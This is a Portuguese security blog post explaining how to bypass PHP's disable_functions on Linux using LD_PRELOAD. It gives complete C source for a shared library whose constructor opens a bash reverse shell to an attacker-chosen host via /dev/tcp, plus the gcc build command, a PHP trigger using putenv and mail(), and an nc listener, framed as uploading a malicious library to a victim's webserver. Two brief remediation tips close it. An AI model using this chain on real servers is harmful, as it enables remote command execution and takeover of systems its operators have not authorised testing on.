Bypass do disable_functions do PHP utilizando LD_PRELOAD

Bypass do disable_functions do PHP utilizando LD_PRELOAD

Neste post veremos como realizar o bypass do disable_functions do PHP utilizando a variável de ambiente LD_PRELOAD em ambientes Linux!

Lembre-se que para realizar este processo será necessário conseguir realizar upload de arquivos ao webserver!

O que é o disable_functions do PHP?

Antes de tudo, a disable_functions é uma diretiva do PHP que permite desativar funções em tempo de execução. Isso significa que, se uma função estiver listada nesta diretiva, o código PHP em execução não poderá chamá-la ou executá-la.

Normalmente, utiliza-se a disable_functions como medida de segurança para impedir que o código PHP execute funções perigosas capazes de comprometer a segurança do sistema. Por exemplo, funções como exec, system, shell_exec, passthru, popen e proc_open podem permitir a execução de comandos do sistema operacional diretamente a partir do código PHP, o que pode levar a vulnerabilidades de segurança.

O que é a variável de ambiente LD_PRELOAD?

A variável de ambiente LD_PRELOAD do Linux é uma variável utilizada pelo sistema operacional que permite carregar bibliotecas compartilhadas antes das bibliotecas padrão do sistema.

Por exemplo, um programa que foi compilado para usar a biblioteca libc.so pode ser executado com uma versão modificada da biblioteca libc.so usando LD_PRELOAD para carregar a biblioteca modificada antes da biblioteca padrão. Isso permite que o programa use as funções da biblioteca modificada em vez das funções da biblioteca padrão, o que pode ser útil para fins de depuração ou para adicionar funcionalidades extras.

Realizando o bypass

Utilizando a variável de ambiente LD_PRELOAD em conjunto de uma função do PHP que utilize um binário do Linux é possível executar comandos no sistema operacional no contexto do usuário do webserver.

Aqui estão alguns exemplos de funções que utilizam binários: imagick(), mail(), imap_mail(), libvirt_connect(), gnupg_init() e mb_send_mail().

Neste exemplo utilizaremos a função mail() que utiliza o binário sendmail.

Primeiramente, compile o código abaixo (teste.c) para criar a nossa biblioteca chamada teste.so. Lembre-se de alterar o IP 127.0.0.1 e a porta 80 pelo host e porta desejados para receber a reverse shell.

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
system("0<&196;exec 196<>/dev/tcp/127.0.0.1/80; bash <&196 >&196 2>&196");
}

Compilando o código acima utilizando gcc:

gcc -shared -fPIC -o teste.so teste.c

Agora basta enviar a nossa lib maliciosa teste.so para o webserver da vítima, bem como o arquivo PHP abaixo:

<?php
putenv("LD_PRELOAD=/caminho/completo/do/teste.so");
mail("a","b","c","d");
?>

Por fim, será necessário utilizar netcat para escutar na porta 80 aguardando a reverse shell e enviar uma request para o arquivo PHP que foi enviado ao webserver:

nc -lvnp 80
Bypass disable_functions PHP

Recomendações de correção

  1. Adicionar a função putenv() no disable_functions
  2. Desabilitar funções do PHP que não estejam em uso e utilizem binários, como mail() e mb_send_mail()

Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !

Posts relacionados

Explicando a arquitetura MVC

Explicando a arquitetura MVC

Entenda como funciona a arquitetura MVC, e dê uma turbinada no seu projeto em questão de perfomance, organização e etc.

Ler post completo
Bypass do Defender utilizando substituição de strings

Bypass do Defender utilizando substituição de strings

Substituição de strings é uma das técnicas utilizadas para realizar bypass de antivírus.

Ler post completo
Criação e manipulação de arrays com PHP

Criação e manipulação de arrays com PHP

As arrays, que também podem ser chamadas de vetores, têm como objetivo guardar de maneira uniforme os valores na memória.

Ler post completo